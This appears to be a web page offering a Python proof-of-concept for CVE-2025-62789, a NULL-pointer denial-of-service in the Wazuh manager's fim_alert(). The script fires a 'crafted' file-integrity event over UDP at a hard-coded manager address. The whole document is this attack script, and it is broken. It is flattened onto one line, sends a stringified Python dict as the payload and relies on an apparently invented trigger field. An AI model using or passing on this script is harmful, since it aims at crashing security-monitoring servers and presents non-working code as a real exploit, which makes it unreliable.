CVE-2025-62789: Wazuh fim_alert() 拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-62789 PoC - Wazuh fim_alert() NULL pointer dereference # This PoC demonstrates sending a crafted FIM message that can trigger the vulnerability import socket import struct import hashlib import time def build_crafted_fim_event(): """Build a specially crafted FIM event that triggers ctime_r to return NULL""" # This is a simplified representation of the attack concept # The actual exploitation requires specific filesystem conditions # where ctime_r returns NULL event = { 'type': 'file_integrity_check', 'path': '/tmp/malicious_file', 'timestamp': int(time.time()), 'mode': 'scheduled', 'trigger_condition': 'craft_ctime_null' } return event def send_to_manager(target_ip, target_port, event): """Send crafted FIM event to Wazuh manager""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Wazuh agents communicate on UDP port 1514 by default message = str(event).encode('utf-8') sock.sendto(message, (target_ip, target_port)) sock.close() print(f"[+] Crafted message sent to {target_ip}:{target_port}") print("[*] If ctime_r returns NULL in fim_alert(), analysisd will crash") except Exception as e: print(f"[-] Error: {e}") def main(): target_ip = "192.168.1.100" # Wazuh Manager IP target_port = 1514 # Wazuh Agent/Mgr communication port print("=" * 60) print("CVE-2025-62789 PoC - Wazuh fim_alert() DoS") print("=" * 60) event = build_crafted_fim_event() send_to_manager(target_ip, target_port, event) print("\n[*] Note: Actual exploitation requires specific conditions") print("[*] where ctime_r() returns NULL before strdup() is called") if __name__ == "__main__": main()